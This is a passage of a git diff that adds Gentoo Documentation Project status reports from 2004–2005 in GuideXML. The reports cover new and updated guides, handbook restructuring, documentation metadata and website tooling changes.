+<li><uri link="#doc_chap3">Portage Part in Gentoo Handbook</uri></li>
+<li><uri link="#doc_chap4">Upcoming Meta Updates</uri></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>New / Updated Documentation</title>
+<section>
+<body>
+
+<p>
+The <uri link="/doc/en/gentoo-x86-tipsntricks.xml">Gentoo Installation Tips 'n
+Tricks</uri> document now has a section on copying over the LiveCD kernel
+instead of compiling one yourself.
+</p>
+
+<p>
+The <uri link="/doc/en/uml.xml">Usermode Linux Guide</uri> has been improved
+with information from various forum postings.
+</p>
+
+<p>
+Users of cascading profiles might notice some changes to the system packages.
+The removal of slocate and dhcpcd result in some updates to the Gentoo Handbook,
+informing the reader to install those packages as well if he needs it.
+</p>
+
+<p>
+We now have a document on <uri link="/doc/en/nx-guide.xml">Using NX on Gentoo
+Linux</uri>, thanks to <mail link="stuart@gentoo.org">Stuart Herbert</mail>.
+This has been added to the <uri link="/doc/en/desktop.xml">Desktop
+Documentation</uri>.
+</p>
+
+<p>
+The <uri link="/doc/en/kde-config.xml">KDE Configuration Guide</uri> has been
+extended with a FAQ section. This section currently holds one question regarding
+slow start-up of KDE, a problem many users have reported over the past few
+months.
+</p>
+
+<p>
+An overview of all fixed bugreports since the last status update can be found on <uri link="http://bugs.gentoo.org/buglist.cgi?query_format=advanced&amp;short_desc_type=allwordssubstr&amp;short_desc=&amp;long_desc_type=allwordssubstr&amp;long_desc=&amp;bug_file_loc_type=allwordssubstr&amp;bug_file_loc=&amp;status_whiteboard_type=allwordssubstr&amp;status_whiteboard=&amp;keywords_type=allwords&amp;keywords=&amp;bug_status=RESOLVED&amp;resolution=FIXED&amp;emailassigned_to1=1&amp;emailcc1=1&amp;emailtype1=substring&amp;email1=docs-team%40gentoo.org&amp;emailassigned_to2=1&amp;emailreporter2=1&amp;emailcc2=1&amp;emailtype2=substring&amp;email2=&amp;bugidtype=include&amp;bug_id=&amp;changedin=&amp;chfield=resolution&amp;chfieldfrom=2004-09-24&amp;chfieldto=2004-10-22&amp;chfieldvalue=FIXED&amp;cmdtype=doit&amp;field0-0-0=noop&amp;type0-0-0=noop&amp;value0-0-0=">Gentoo's bugtracking system</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Portage Part in Gentoo Handbook</title>
+<section>
+<body>
+
+<p>
+The Gentoo Handbook now has a <uri
+link="/doc/en/handbook/handbook-x86.xml?part=3">Working with Portage</uri> part
+explaining Portage, Gentoo's Software Management Tool. Also, the <uri
+link="/doc/en/handbook/handbook-x86.xml?part=2">Working with Gentoo</uri> part
+has received some updates, such as a new chapter called <uri
+link="/doc/en/handbook/handbook-x86.xml?part=2&amp;chap=2">A Portage
+Introduction</uri> which contains the basic Portage commands every user needs to
+know.
+</p>
+
+<p>
+These two parts are written with Portage 2.0.51 in mind.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Upcoming Meta Updates</title>
+<section>
+<body>
+
+<p>
+After an interesting <uri
+link="http://thread.gmane.org/gmane.linux.gentoo.documentation/1551">thread</uri>
+on the documentation mailinglist, we will be working on two metadata related
+aspects (which means: important for the documentation developers but barely
+noticeable by the users at first):
+</p>
+
+<p>
+First of all, we will extend the GuideXML syntax a bit to allow version/date
+information inside the individual chapters of the Gentoo Handbook. Up until now,
+this is handled by the parent index file but this has proven to be a rather
+difficult working method.
+</p>
+
+<p>
+Placing this information in the individual chapters we can increase the
+flexibility towards our translators regarding handbook updates - whereas they
+previously had to dig through the CVS mailinglist to find the updates, they can
+now relie on the differences between the versions of individual chapters.
+</p>
+
+<p>
+The second metadata related project introduces a metadata file which lists all
+our documentation, both provided by the GDP itself and by the individual
+projects. This metadata file should be flexible enough to allow automated
+creation of index files, an improved management of translated files, a track
+record of Gentoo documentation and much, much more.
+</p>
+
+<p>
+More about this later.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/gdp/status/status_20041121.xml b/xml/htdocs/proj/en/gdp/status/status_20041121.xml
new file mode 100644
index 00000000..1d62fe07
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/status/status_20041121.xml
@@ -0,0 +1,148 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="status_20041121.xml">
+<title>GDP Status Report</title>
+<author><mail link="swift@gentoo.org">Sven Vermeulen</mail></author>
+<abstract>Status report of the GDP project</abstract>
+
+<version>1.1</version>
+<date>2004-11-21</date>
+
+<chapter>
+<title>Status Reports</title>
+<section>
+<title>Preliminaries</title>
+<body>
+
+<p>
+This is the status of the Gentoo Documentation Project. It will be posted
+regularly, but not with a static frequency. All questions can be posted to
+<mail link="gentoo-doc@gentoo.org">gentoo-doc@gentoo.org</mail> or to 
+<mail link="swift@gentoo.org">me</mail> personally.
+</p>
+
+<p>
+The Gentoo Documentation Project, from now on abbreviated to GDP, has its own
+project page (just like almost all other Gentoo projects). You can find it at
+<uri>http://www.gentoo.org/proj/en/gdp</uri>. 
+</p>
+
+</body>
+</section>
+<section>
+<title>Content</title>
+<body>
+
+<p>
+This status mail will briefly discuss the following tasks, objectives and/or
+projects related to the GDP:
+</p>
+
+<ul>
+<li><uri link="#doc_chap2">New / Updated Documentation</uri></li>
+<li><uri link="#doc_chap3">Documentation Metadata</uri></li>
+<li><uri link="#doc_chap4">Internal Changes for Dates</uri></li>
+<li><uri link="#doc_chap5">Use of gorg instead of AxKit</uri></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>New / Updated Documentation</title>
+<section>
+<body>
+
+<p>
+The <uri link="/doc/en/guide-to-mutt.xml">Guide to Mutt</uri> has been extended
+with a chapter on the use of <c>msmtpd</c> which allows for authenticated SMTP
+usage.
+</p>
+
+<p>
+Thanks to <mail link="dsd@gentoo.org">Daniel Drake</mail> we now have a guide
+on <uri link="/doc/en/kernel-upgrade.xml">Gentoo Linux Kernel Upgrading</uri>.
+</p>
+
+<p>
+Daniel also updated the <uri link="/doc/en/gentoo-kernel.xml">Gentoo
+Kernel</uri> guide.
+</p>
+
+<p>
+And while he was on it, he also wrote the <uri
+link="/doc/en/migration-to-2.6.xml">Complete Gentoo Linux 2.6 Migration
+Guide</uri>. Again a new addition to the Gentoo Documentation Repository :)
+</p>
+
+<p>
+An overview of all fixed bugreports since the last status update can be found on <uri link="http://bugs.gentoo.org/buglist.cgi?query_format=advanced&amp;short_desc_type=allwordssubstr&amp;short_desc=&amp;long_desc_type=allwordssubstr&amp;long_desc=&amp;bug_file_loc_type=allwordssubstr&amp;bug_file_loc=&amp;status_whiteboard_type=allwordssubstr&amp;status_whiteboard=&amp;keywords_type=allwords&amp;keywords=&amp;bug_status=RESOLVED&amp;resolution=FIXED&amp;emailassigned_to1=1&amp;emailcc1=1&amp;emailtype1=substring&amp;email1=docs-team%40gentoo.org&amp;emailassigned_to2=1&amp;emailreporter2=1&amp;emailcc2=1&amp;emailtype2=substring&amp;email2=&amp;bugidtype=include&amp;bug_id=&amp;changedin=&amp;chfield=resolution&amp;chfieldfrom=2004-10-22&amp;chfieldto=2004-11-21&amp;chfieldvalue=FIXED&amp;cmdtype=doit&amp;field0-0-0=noop&amp;type0-0-0=noop&amp;value0-0-0=">Gentoo's bugtracking system</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Documentation Metadata</title>
+<section>
+<body>
+
+<p>
+<mail link="swift@gentoo.org">Sven Vermeulen</mail> is working on a metadata
+format for the documentation which would allow translation teams to easily view
+the status of their translations, which allows for a dynamically generated index
+page (and full documentation listing) and more.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Internal Changes for Dates</title>
+<section>
+<body>
+
+<p>
+<mail link="swift@gentoo.org">Sven Vermeulen</mail> migrated the dates and
+version information from the handbooks into the separate chapters. This allows
+translation teams to check their translation status a bit more easily.
+</p>
+
+<p>
+This did lead to a few problems. Our webnodes are only able to use XSLT 1.0
+which doesn't contain string manipulation routines and date formatting
+functions. In other words, every page displayed a different date. Luckily we had
+<mail link="neysx@gentoo.org">Xavier Neys</mail> in our team who did a
+tremendous job of hacking XSLT so dates are:
+</p>
+
+<ul>
+  <li>Converted from a YYYY-MM-DD format to the correct localised date</li>
+  <li>Calculated so that only the latest date of all pages is displayed</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Use of gorg instead of AxKit</title>
+<section>
+<body>
+
+<p>
+Since we aren't completely happy with AxKit's functionality, the infrastructure
+team got taste of <mail link="neysx@gentoo.org">Xavier Neys</mail>'s <uri
+link="http://dev.gentoo.org/~neysx/gorg/gorg.html">gorg</uri>. And since it
+performs quite well (very fast, decent caching and stand-alone possibility for
+local testing) the gorg application is already used on two out of Gentoo's 
+three webnodes.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/gdp/status/status_20050102.xml b/xml/htdocs/proj/en/gdp/status/status_20050102.xml
new file mode 100644
index 00000000..79706226
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/status/status_20050102.xml
@@ -0,0 +1,209 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="status-20050102.xml">
+<title>GDP Status Report</title>
+<author><mail link="swift@gentoo.org">Sven Vermeulen</mail></author>
+<abstract>Status report of the GDP project</abstract>
+
+<version>1.1</version>
+<date>2005-01-02</date>
+
+<chapter>
+<title>Status Reports</title>
+<section>
+<title>Preliminaries</title>
+<body>
+
+<p>
+This is the status of the Gentoo Documentation Project. It will be posted
+regularly, but not with a static frequency. All questions can be posted to
+<mail link="gentoo-doc@gentoo.org">gentoo-doc@gentoo.org</mail> or to 
+<mail link="swift@gentoo.org">me</mail> personally.
+</p>
+
+<p>
+The Gentoo Documentation Project, from now on abbreviated to GDP, has its own
+project page (just like almost all other Gentoo projects). You can find it at
+<uri>http://www.gentoo.org/proj/en/gdp</uri>. 
+</p>
+
+</body>
+</section>
+<section>
+<title>Content</title>
+<body>
+
+<p>
+This status mail will briefly discuss the following tasks, objectives and/or
+projects related to the GDP:
+</p>
+
+<ul>
+<li><uri link="#doc_chap2">New / Updated Documentation</uri></li>
+<li><uri link="#doc_chap3">Uncertainties about stage files</uri></li>
+<li><uri link="#doc_chap4">Separating Handbook into Release and Current</uri></li>
+<li><uri link="#doc_chap5">Automatically Generating Documentation Index</uri></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>New / Updated Documentation</title>
+<section>
+<body>
+
+<!-- Verify by grepping version and checking if it's 3.XXX -->
+
+<p>
+Most translation teams have completed their translation of the <uri
+link="/doc/ja/handbook/handbook-x86.xml">Gentoo/x86 2004.3</uri> handbook. A job
+well done! This makes that the following languages have an up to date handbook:
+Danish, German, English, Spanish, Finnish, French, Italian, Japanese, Polish, 
+Brazilian Portuguese, Romanian and Traditional Chinese. Others are working on 
+the necessary updates. We can't say enough "Thank you" to the hard-working 
+translation teams.
+</p>
+
+<p>
+Note especially the availability of the Romanian and Polish translations, which
+are new languages for our growing translation community. A big thanks to both
+for joining the Gentoo Documentation Project and dedicating their free time to
+the continuous translation of the ever-changing documentation repository.
+</p>
+
+<p>
+We have received a new documented titled <uri
+link="/doc/en/keychain-guide.xml">Gentoo Keychain Guide</uri> by <mail
+link="airuike@gmail.com">Eric Brown</mail>, covering SSH public key
+authentication and the use of keychain.
+</p>
+
+<p>
+Another new document is the <uri link="/doc/en/cron-guide.xml">Cron Guide</uri>,
+written by Eric Brown, which describes how to setup and use cron, a daemon that
+runs scheduled tasks.
+</p>
+
+<p>
+Other documents that are updated are the <uri
+link="/doc/en/distcc.xml">Distcc Guide</uri>, <uri
+link="/doc/en/guide-to-mutt.xml">Quickstart Guide to Mutt E-mail</uri>, <uri
+link="/doc/en/altinstall.xml">Alternative Installation Guide</uri>, <uri
+link="/doc/en/faq.xml">Gentoo FAQ</uri>, <uri
+link="/doc/en/virt-mail-howto.xml">Virtual Mail Hosting HOWTO</uri>, <uri
+link="/doc/en/migration-to-2.6.xml">Migration To Linux 2.6 Guide</uri>.
+</p>
+
+<p>
+Of course, we shouldn't forget all the updates to the other guides, such as
+spelling and grammar fixes and bugfixes that were reported to <uri
+link="http://bugs.gentoo.org">Bugzilla</uri>.
+</p>
+
+<p>
+An overview of all fixed bugreports since the last status update can be found on <uri link="http://bugs.gentoo.org/buglist.cgi?query_format=advanced&amp;short_desc_type=allwordssubstr&amp;short_desc=&amp;long_desc_type=allwordssubstr&amp;long_desc=&amp;bug_file_loc_type=allwordssubstr&amp;bug_file_loc=&amp;status_whiteboard_type=allwordssubstr&amp;status_whiteboard=&amp;keywords_type=allwords&amp;keywords=&amp;bug_status=RESOLVED&amp;resolution=FIXED&amp;emailassigned_to1=1&amp;emailcc1=1&amp;emailtype1=substring&amp;email1=docs-team%40gentoo.org&amp;emailassigned_to2=1&amp;emailreporter2=1&amp;emailcc2=1&amp;emailtype2=substring&amp;email2=&amp;bugidtype=include&amp;bug_id=&amp;changedin=&amp;chfield=resolution&amp;chfieldfrom=2004-11-21&amp;chfieldto=2005-01-02&amp;chfieldvalue=FIXED&amp;cmdtype=doit&amp;field0-0-0=noop&amp;type0-0-0=noop&amp;value0-0-0=">Gentoo's bugtracking system</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Uncertainties about stage files</title>
+<section>
+<body>
+
+<p>
+A nice <uri
+link="http://thread.gmane.org/gmane.linux.gentoo.documentation/1676">thread</uri>
+on the gentoo-doc mailinglist discussed possible issues with the use of stage1.
+The Gentoo Documentation Team leaves it up to the Release Engineering team to
+decide what to do.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Separating Handbook into Release and Current</title>
+<section>
+<body>
+
+<p>
+With the Release Engineering Team deciding to lower the release cycle to a
+biannual release (from a quarterly release), the installation instructions will
+undoubtedly have difficulties containing both the newest instructions for those
+performing a live, Internet-based installation, and the instructions for a
+networkless installation.
+</p>
+
+<p>
+<mail link="swift@gentoo.org">Sven Vermeulen</mail> has proposed to split the
+Handbook's installation instructions in two: one handbook will be dedicated to
+the ongoing installation instructions, based on the latest stable trees. The
+other handbook will contain the networkless installation instructions for a
+particular release (such as 2004.3, 2005.0).
+</p>
+
+<p>
+Of course, this change only applies to the installation instructions. All
+subsequent parts remain the same since, after executing <c>emerge --update
+world</c> on their system, users who have performed a networkless installation
+are then running an up-to-date system as well as any other Gentoo user.
+</p>
+
+<p>
+At this moment, preliminary drafts for the handbooks are available for all
+architectures. The move of the documentation is scheduled for January 4th, 2005.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Automatically Generating Documentation Index</title>
+<section>
+<body>
+
+<p>
+<mail link="swift@gentoo.org">Sven Vermeulen</mail> has introduced a <uri
+link="/proj/en/gdp/doc/metadoc-guide.xml">metadoc.xml</uri> file which enables
+the GDP to automatically generate the documentation index. By introducing this
+file, we are now also able to:
+</p>
+
+<ul>
+  <li>
+    hide documentation from the index easily when a showstopper bug (security or
+    extremely outdated) has occurred
+  </li>
+  <li>
+    easily view the bugreports that affect documentation which aren't solved
+    immediately. This enables contributors to easily see where they can
+    contribute.
+  </li>
+  <li>
+    categorise documentation for easy access to the entire repository
+  </li>
+  <li>
+    list the translation team members 
+  </li>
+  <li>
+    ...
+  </li>
+</ul>
+
+<p>
+The <uri link="/doc/en/index.xml">automatically generated index</uri> is
+accompanied by a <uri link="/doc/en/list.xml">documentation listing</uri> and an
+<uri link="/doc/en/overview.xml">overview</uri> page.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/gdp/status/status_20050307.xml b/xml/htdocs/proj/en/gdp/status/status_20050307.xml
new file mode 100644
index 00000000..16a3e278
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/status/status_20050307.xml
@@ -0,0 +1,233 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="status-20041121.xml">
+<title>GDP Status Report</title>
+<author><mail link="swift@gentoo.org">Sven Vermeulen</mail></author>
+<abstract>Status report of the GDP project</abstract>
+
+<version>1.0</version>
+<date>2005-03-07</date>
+
+<chapter>
+<title>Status Reports</title>
+<section>
+<title>Preliminaries</title>
+<body>
+
+<p>
+This is the status of the Gentoo Documentation Project. It will be posted
+regularly, but not with a static frequency. All questions can be posted to
+<mail link="gentoo-doc@gentoo.org">gentoo-doc@gentoo.org</mail> or to 
+<mail link="swift@gentoo.org">me</mail> personally.
+</p>
+
+<p>
+The Gentoo Documentation Project, from now on abbreviated to GDP, has its own
+project page (just like almost all other Gentoo projects). You can find it at
+<uri>http://www.gentoo.org/proj/en/gdp</uri>. 
+</p>
+
+</body>
+</section>
+<section>
+<title>Content</title>
+<body>
+
+<p>
+This status mail will briefly discuss the following tasks, objectives and/or
+projects related to the GDP:
+</p>
+
+<ul>
+<li><uri link="#doc_chap2">New / Updated Documentation</uri></li>
+<li><uri link="#doc_chap3">New Year Goals</uri></li>
+<li><uri link="#doc_chap4">Gentoo 2005.0 Documentation</uri></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>New / Updated Documentation</title>
+<section>
+<body>
+
+<p>
+<mail link="dsd@gentoo.org">Daniel Drake</mail> has updated the <uri
+link="/doc/en/migration-to-2.6.xml">The Complete Gentoo Linux 2.6 Migration
+Guide</uri> with additional known pitfalls and solutions.
+</p>
+
+<p>
+The <uri link="/doc/en/gentoo-security.xml">Gentoo Security Guide</uri> and <uri
+link="/doc/en/power-management-guide.xml">Gentoo Powermanagement Guide</uri>
+have also received some updating love.
+</p>
+
+<p>
+<mail link="jaervosz@gentoo.org">Sune Kloppenborg Jeppesen</mail> wrote a <uri
+link="/doc/en/mailfilter-guide.xml">Gentoo mailfiltering gateway guide</uri>,
+covering spam-fighting technologies and anti-virus protection.
+</p>
+
+<p>
+<mail link="slarti@gentoo.org">Thomas Martin</mail> wrote a <uri
+link="/doc/en/utf-8.xml">UTF-8 Guide</uri> for Gentoo, covering both the theory
+behind Unicode (and more specifically, UTF-8) and practice on your Gentoo
+system.
+</p>
+
+<p>
+<mail link="danarmak@gentoo.org">Dan Armak</mail> has written up a <uri
+link="/doc/en/kde-split-ebuilds.xml">KDE Split Ebuilds HOWTO</uri> which we
+gracefully added to our repository.
+</p>
+
+<p>
+Of course, we shouldn't forget all the updates to the other guides, such as
+spelling and grammar fixes and bugfixes that were reported to <uri
+link="http://bugs.gentoo.org">Bugzilla</uri>.
+</p>
+
+<p>
+An overview of all fixed bugreports since the last status update can be found on <uri link="http://bugs.gentoo.org/buglist.cgi?query_format=advanced&amp;short_desc_type=allwordssubstr&amp;short_desc=&amp;long_desc_type=allwordssubstr&amp;long_desc=&amp;bug_file_loc_type=allwordssubstr&amp;bug_file_loc=&amp;status_whiteboard_type=allwordssubstr&amp;status_whiteboard=&amp;keywords_type=allwords&amp;keywords=&amp;bug_status=RESOLVED&amp;resolution=FIXED&amp;emailassigned_to1=1&amp;emailcc1=1&amp;emailtype1=substring&amp;email1=docs-team%40gentoo.org&amp;emailassigned_to2=1&amp;emailreporter2=1&amp;emailcc2=1&amp;emailtype2=substring&amp;email2=&amp;bugidtype=include&amp;bug_id=&amp;changedin=&amp;chfield=resolution&amp;chfieldfrom=2005-01-02&amp;chfieldto=2005-03-07&amp;chfieldvalue=FIXED&amp;cmdtype=doit&amp;field0-0-0=noop&amp;type0-0-0=noop&amp;value0-0-0=">Gentoo's bugtracking system</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>New Year Goals</title>
+<section>
+<body>
+
+<p>
+For 2005, the Gentoo Documentation Project will focus on the following goals.
+</p>
+
+</body>
+</section>
+<section>
+<title>Pull in developers/contributors</title>
+<body>
+
+<ul>
+  <li>
+    For the non-x86 installation instructions.<br/>
+    Only a few developers are frequently busy with the installation 
+    instructions and most knowledge is situated at the x86 instructions.
+  </li>
+  <li>
+    For the various projects that Gentoo is rich.<br/>
+    There are quite a few guides that are project-specific and some projects 
+    don't even have lots of documentation (if they have any at all). We should 
+    be able to train interested developers in GuideXML so they can focus on the
+    documentation of that particular project.
+  </li>
+  <li>
+    For our own repository.<br/>
+    New documents are always welcomed, but existing documentation must also be 
+    maintained. 
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Reintroduce Status Updates</title>
+<body>
+
+<p>
+Check who is part of the GDP and require a monthly status update.
+It seems that there are many developers "part" of GDP but their last
+action (whether commit, bug resolution or something else) happened a long
+time ago.
+</p>
+
+</body>
+</section>
+<section>
+<title>Improve documentation on GuideXML</title>
+<body>
+
+<p>
+The Coding Style for GuideXML should be moved elsewhere as it isn't
+really part of GuideXML itself. Improve descriptions as to "why" instead
+only "how" (e.g. "&lt;abstract&gt;" is used to blabla).
+</p>
+
+</body>
+</section>
+<section>
+<title>"Writing Style" documentation</title>
+<body>
+
+<p>
+For instance the AP Style Guide. Such document would explain how Gentoo
+writes its documentation (capitalised titles or not, coding style, ...).
+This enforces a bit more consistency across all documents.
+</p>
+
+</body>
+</section>
+<section>
+<title>Define Location of Documentation</title>
+<body>
+
+<p>
+This of course needs to be discussed with the various projects (probably
+in gentoo-dev). We will need to list the pro/cons clearly before
+attempting to create a definition/policy.
+</p>
+
+</body>
+</section>
+<section>
+<title>Audit the Existing Documentation</title>
+<body>
+
+<p>
+Verify if documentation is still valid, if no new way of handling things
+improves the situation, whether there are spelling mistakes, ...
+</p>
+
+</body>
+</section>
+<section>
+<title>More USE-case Documentation</title>
+<body>
+
+<p>
+Documents such as the "Virtual Mailhosting Guide" are greatly
+appreciated because they combine several existing projects in one.
+Writing documentation on a single subject also happens at the
+project-pages themselves (such as "CUPS", "Nano", "Vim", ...) but
+combining projects (such as "MySQL + Postfix + ...") is rarely
+documented.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Gentoo 2005.0 Documentation</title>
+<section>
+<body>
+
+<p>
+<mail link="swift@gentoo.org">Sven Vermeulen</mail> has started with the 2005.0
+specific installation instructions based on the feedback received from the <uri
+link="/proj/en/releng">Release Engineering</uri> team. The draft installation
+instructions are available in
+<path>[gentoo]/xml/htdocs/doc/en/handbook/draft/2005.0</path> or online at <uri
+link="/doc/en/handbook/draft/2005.0">the Gentoo website</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/gdp/status/status_20050413.xml b/xml/htdocs/proj/en/gdp/status/status_20050413.xml
new file mode 100644
index 00000000..f9daa632
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/status/status_20050413.xml
@@ -0,0 +1,132 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/proj/en/gdp/status/status_20050413.xml">
+<title>GDP Status Report</title>
+<author><mail link="swift@gentoo.org">Sven Vermeulen</mail></author>
+<abstract>Status report of the GDP project</abstract>
+
+<version>1.0</version>
+<date>2005-04-13</date>
+
+<chapter>
+<title>Status Reports</title>
+<section>
+<title>Preliminaries</title>
+<body>
+
+<p>
+This is the status of the Gentoo Documentation Project. It will be posted
+regularly, but not with a static frequency. All questions can be posted to
+<mail link="gentoo-doc@gentoo.org">gentoo-doc@gentoo.org</mail> or to 
+<mail link="swift@gentoo.org">me</mail> personally.
+</p>
+
+<p>
+The Gentoo Documentation Project, from now on abbreviated to GDP, has its own
+project page (just like almost all other Gentoo projects). You can find it at
+<uri>http://www.gentoo.org/proj/en/gdp</uri>. 
+</p>
+
+</body>
+</section>
+<section>
+<title>Content</title>
+<body>
+
+<p>
+This status mail will briefly discuss the following tasks, objectives and/or
+projects related to the GDP:
+</p>
+
+<ul>
+<li><uri link="#doc_chap2">New / Updated Documentation</uri></li>
+<li><uri link="#doc_chap3">Obsoleting &lt;codenote&gt;</uri></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>New / Updated Documentation</title>
+<section>
+<body>
+
+<p>
+Thanks to <mail link="deathwin00@gentoo.org">Ioannis Aslandis</mail>, Hartwig
+Brandl and several forum users, our repository has now been extended with a <uri
+link="/doc/en/grub-error-guide.xml">Grub Error Collection</uri> document.
+</p>
+
+<p>
+<mail link="fox2mike@gmail.com">Shyam Mani</mail> wrote a <uri
+link="/doc/en/usb-guide.xml">Gentoo Linux USB Guide</uri> which was one of the
+<uri link="/proj/en/gdp/roadmap.xml">requested documents</uri> on our list. And
+it is a very fine read.
+</p>
+
+<p>
+For the 2005.0 release, guides such as <uri
+link="/doc/en/gentoo-upgrading.xml">Gentoo Upgrading Guide</uri> and <uri
+link="/doc/en/gentoo-kernel.xml">Gentoo Kernel Guide</uri> have received
+additional information. Of course, the <uri link="/doc/en/handbook">Gentoo
+Handbook</uri> has received the necessary updates as well and the <uri
+link="/doc/en/handbook/2005.0">Gentoo Handbook 2005.0</uri> has been put online.
+</p>
+
+<p>
+Thanks to <mail link="smith.jonathan@gmail.com">Jonathan Smith</mail> you can
+now find a <uri link="/doc/en/fluxbox-config.xml">Fluxbox Configuration
+HOWTO</uri> in our <uri link="/doc/en/index.xml?catid=desktop">Desktop
+Documentation Resources</uri> section.
+</p>
+
+<p>
+<mail link="uberlord@gentoo.org">Roy Marple</mail> has written several chapters
+on configuring your network using the (not-stable-yet) baselayout changes. This
+is currently viewable <uri
+link="/doc/en/handbook/draft/handbook-x86.xml?part=4">online</uri> and will be
+integrated in the official Gentoo Handbook when the baselayout changes are
+stabilized.
+</p>
+
+<p>
+Also, <mail link="cam@gentoo.org">Camille Huot</mail> has started writing a
+Gentoo EVMS Guide.
+</p>
+
+<p>
+Of course, we shouldn't forget all the updates to the other guides, such as
+spelling and grammar fixes and bugfixes that were reported to <uri
+link="http://bugs.gentoo.org">Bugzilla</uri>.
+</p>
+
+<p>
+An overview of all fixed bugreports since the last status update can be found on <uri link="http://bugs.gentoo.org/buglist.cgi?query_format=advanced&amp;short_desc_type=allwordssubstr&amp;short_desc=&amp;long_desc_type=allwordssubstr&amp;long_desc=&amp;bug_file_loc_type=allwordssubstr&amp;bug_file_loc=&amp;status_whiteboard_type=allwordssubstr&amp;status_whiteboard=&amp;keywords_type=allwords&amp;keywords=&amp;bug_status=RESOLVED&amp;resolution=FIXED&amp;emailassigned_to1=1&amp;emailcc1=1&amp;emailtype1=substring&amp;email1=docs-team%40gentoo.org&amp;emailassigned_to2=1&amp;emailreporter2=1&amp;emailcc2=1&amp;emailtype2=substring&amp;email2=&amp;bugidtype=include&amp;bug_id=&amp;changedin=&amp;chfield=resolution&amp;chfieldfrom=2005-03-07&amp;chfieldto=2005-04-13&amp;chfieldvalue=FIXED&amp;cmdtype=doit&amp;field0-0-0=noop&amp;type0-0-0=noop&amp;value0-0-0=">Gentoo's bugtracking system</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Obsoleting &lt;codenote&gt;</title>
+<section>
+<body>
+
+<p>
+The <c>&lt;codenote&gt;</c> tag was generally used for comments inside C/C++
+source code listings. Gentoo does not have much of those though and the use of
+<c>&lt;comment&gt;</c> is preferred (as <c>&lt;codenote&gt;</c> was nothing more
+than a <c>&lt;comment&gt;// ...&lt;/comment&gt;</c> anyway).
+</p>
+
+<p>
+So to simplify the GuideXML format a bit, this entity has now become obsoleted.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/gdp/status/status_20050529.xml b/xml/htdocs/proj/en/gdp/status/status_20050529.xml
new file mode 100644
index 00000000..83964a74
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/status/status_20050529.xml
@@ -0,0 +1,134 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="status_20050529.xml">
+<title>GDP Status Report</title>
+<author><mail link="swift@gentoo.org">Sven Vermeulen</mail></author>
+<abstract>Status report of the GDP project</abstract>
+
+<version>1.0</version>
+<date>2005-05-29</date>
+
+<chapter>
+<title>Status Reports</title>
+<section>
+<title>Preliminaries</title>
+<body>
+
+<p>
+This is the status of the Gentoo Documentation Project. It will be posted
+regularly, but not with a static frequency. All questions can be posted to
+<mail link="gentoo-doc@gentoo.org">gentoo-doc@gentoo.org</mail> or to 
+<mail link="swift@gentoo.org">me</mail> personally.
+</p>
+
+<p>
+The Gentoo Documentation Project, from now on abbreviated to GDP, has its own
+project page (just like almost all other Gentoo projects). You can find it at
+<uri>http://www.gentoo.org/proj/en/gdp</uri>. 
+</p>
+
+</body>
+</section>
+<section>
+<title>Content</title>
+<body>
+
+<p>
+This status mail will briefly discuss the following tasks, objectives and/or
+projects related to the GDP:
+</p>
+
+<ul>
+<li><uri link="#doc_chap2">New / Updated Documentation</uri></li>
+<li><uri link="#doc_chap3">Gentoo Documentation Policy</uri></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>New / Updated Documentation</title>
+<section>
+<body>
+
+<p>
+Thanks to the efforts of the MIPS team, and <mail
+link="redhatter@gentoo.org">Stuart Longland</mail> in particular, the MIPS
+documentation has received major updates during the last few months. Yet MIPS
+isn't the only architecture - <mail link="baude@us.ibm.com">Brent Baude</mail>
+and <mail link="josejx@gentoo.org">Joe Jezak</mail> are working on various PPC
+and PPC64 updates to the installation instructions as well.
+</p>
+
+<p>
+The <uri link="/doc/en/gentoolkit.xml">Gentoolkit Guide</uri> has received a
+huge update to reflect the <c>qpkg</c> deprecation and <c>equery</c> application
+changes.
+</p>
+
+<p>
